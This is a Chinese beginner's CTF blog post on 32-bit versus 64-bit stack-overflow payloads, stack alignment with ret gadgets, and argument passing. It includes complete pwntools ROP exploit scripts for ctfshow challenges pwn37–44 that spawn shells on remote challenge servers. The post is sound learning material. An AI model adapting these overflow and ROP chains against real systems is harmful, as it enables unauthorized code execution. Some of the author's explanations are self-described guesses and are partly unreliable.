关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项

目录

栈堆平衡

参数顺序

参数存放位置

疑问

参考资料


pwn入门,栈溢出漏洞是比较合适的。但我们经常会遇到i386【下面称32位】和amd64【下面称64位】的可执行程序【题目附件】。而32位与64位同样的情况,比如同样是ret2text或ret2syscall时,写的payload是不一样的,但大体的思路是一样的。

本人也是入门pwn的小白,写的不对的地方还请师傅们指出。

栈堆平衡

32位中,没有堆栈平衡一说,而64位中有。payload中的堆栈平衡简单来说,就是要保证payload的字节数是16的倍数。而p64是将地址转为8字节的字符串,所以payload中得保证p64是偶数倍,就能满足堆栈平衡【起初我也没理解,但在群里和其他师傅讨论时,突然悟到了】。因此对于写完payload后还是单数倍的p64时,就需要加单数个【当然加1个就行】p64(ret),【ret代表ret指令的地址,可以直接在IDA里面任意找一个,也可以用ROPgadget来找】,因为ret的多少不会影响到函数的执行逻辑,所以用其来平衡。【9月26日补充,这个平衡还是感觉有点玄学,前几天在打moectf上的某道题时,由于我多加了ret,凑成偶数结果反而没打通,去掉却可以,西电出题的师傅给我推了这篇关于栈对齐博客可以看看,而今天做newstarctf,第一道pwn题,加ret与不加ret都可以打通。。所以我目前是,加ret与不加ret都试试】

找到一个佬关于栈平衡的视频动态调试讲解,通俗易懂:【2024-01-07】pwn技术分享—执行system前为何要执行retn指令_哔哩哔哩_bilibili

 以ctfshow,pwn入门,pwn37,38为例:

# pwn37
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
elf = ELF('./pwn37')
io = remote('pwn.challenge.ctf.show', 28184)
# backdoor = elf.sym['backdoor']
backdoor = 0x8048521

payload = cyclic(0x12 + 4) + p32(backdoor)
# payload = 'a'*(0x12 + 4) + p32(backdoor)
io.sendline(payload)
io.recv()   #can remove the process of code show above
io.interactive()
# pwn38
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')

io = remote('pwn.challenge.ctf.show', 28155)
elf = ELF('./pwn38')
backdoor = elf.sym['backdoor']

# payload = cyclic(0xa + 8) + p64(0x400772) + p64(backdoor)
# payload = cyclic(0xa + 8) + p64(0x400656) + p64(backdoor)
# payload = cyclic(0xa + 8) + p64(0x40066D) + p64(backdoor)
# payload = cyclic(0xa + 8) + p64(0x4005B9) + p64(backdoor)
payload = cyclic(0xa + 8) + p64(0x4005F9) + p64(backdoor)

io.sendline(payload)
io.interactive()

参数顺序

32位中先写函数,再写参数【参数可能是返回值,如调用system,需要多加个参数作返回值【8月10日更改,做了这么多题,发现32bit的payload中,最后一个函数都需要有返回值】【8月12日补充,又做一些题,进一步明白,每个函数都有返回值,而我们对函数返回值不感兴趣【比如一些函数执行成功会返回1】只需要有个位置充当一下,而之前对于多个函数的解释也进一步得以优化,其应该是需要返回值的,只不过位置正好被其他的东西给占据了,如pop_这些用于给参数位置的rop链给一举两得给占据了,也就是说,即使是最后一个函数有参数,也不用在单独写一个p32(0)来填充返回值的位置,因为pop_已经将这件事给做了 ,例如payload = cyclic(0x2c + 4) + p32(func1) + p32(func2) + p32(pop_ebx) + p32(0xACACACAC) + p32(flag) + p32(pop_ebx) + p32(0xBDBDBDBD)

64位中先写参数,再写函数

以ctfshow,pwn入门,pwn41、42,为例:

# pwn41
from pwn import *

elf = ELF('./pwn41')
io = remote('pwn.challenge.ctf.show', 28139)

system = elf.sym['system']
sh = next(elf.search('sh'))

payload = cyclic(0x12 + 4) + p32(system) + p32(0) + p32(sh)
io.sendline(payload)
io.interactive()
# pwn42
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# context.log_level = 'debug'
elf = ELF('./pwn42')
io = remote('pwn.challenge.ctf.show', '28155')
# io = process('pwn')
system = elf.sym['system']
sh = next(elf.search('sh'))

pop_rdi_ret = 0x0000000000400843
# ret = 0x000000000040053e
ret = 0x4006D5  # from IDA find any ret 

payload = cyclic(0xa + 8) + p64(pop_rdi_ret) + p64(sh) + p64(ret) + p64(system)
io.sendline(payload)

io.interactive()

参数存放位置

在32位中,参数和返回值直接就存在栈中,但对于payload中有多个函数时,如果不是最后一个函数,则需要将其参数用寄存器来保存【目前我试过的寄存器都可以,只要参数个数和控制到的寄存器一致就行】【8月13日补充,尽管上述想法能让我们正确做出题目,但关于参数的说法还是不太妥当,首先32位中参数是保存在栈上的,而非寄存器上。其次这个理论也不能解释其他的能打通的payload,如下面pwn43这个也能打通:cyclic(0x6c + 4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2),这个则可以通过填充返回值来理解,也确实合理】【但我做题还是会用32位寄存器的思想,直到我有一天题目没打通,那么我会再次回来修改文章】

如ctfshow,pwn入门,pwn43

ROPgadget --binary pwn43 --only 'pop|ret'

# pwn43
from pwn import *

context.log_level = 'debug'
elf = ELF('./pwn43')
# io = remote('pwn.challenge.ctf.show', 28107)
io = process('pwn43')
gets = elf.sym['gets']
system = elf.sym['system']
buf2 = 0x804B060
pop_ebx = 0x08048409
pop_ebp = 0x0804884b
payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
# payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebp) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh')   # can also use 'sh'
# io.recv()
io.interactive()

在64位中,函数参数一律得用寄存器来存储【从上面pwn42也可以看出来】

64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。--摘录自:某题wp

如ctfshow,pwn入门,pwn44

ROPgadget --binary pwn44 --only 'pop|ret' 

# pwn44
from pwn import *

context.log_level = 'debug'
elf = ELF('./pwn44')
io = remote('pwn.challenge.ctf.show', 28180)

system = elf.sym['system']
gets = elf.sym['gets']
buf2 = 0x602080
pop_rdi = 0x00000000004007f3
pop_r15 = 0x00000000004007f2 #试过,不行
ret = 0x00000000004004fe
payload = cyclic(0xa + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2)  + p64(system)
io.sendline(payload)
io.sendline('/bin/sh')

io.interactive()

疑问

其次还发现64位中,不用管system的返回值,不知道是不是因为64位中会自动用寄存器存储函数返回值,还是说64位系统中,返回值在函数后,而恰巧有返回值的system函数又在payload最后,所以不用写也可以。。。。。这目前还没研究明白,还请知道的师傅指教

Fxe0_0师傅表示:具体情况具体分析


参考资料

大佬博客

‬‌‌‌‌⁤​‌⁢⁣⁢⁣​⁤‍‌‬⁡‍​‌⁣‌‍​⁣⁢⁣‍⁤⁣⁢⁣⁢‍​‌​​​‍⁡⁢​⁢CTFshow---PWN入门037-072---Write UP - 飞书云文档 (feishu.cn)

  • 37
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

j3ff_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值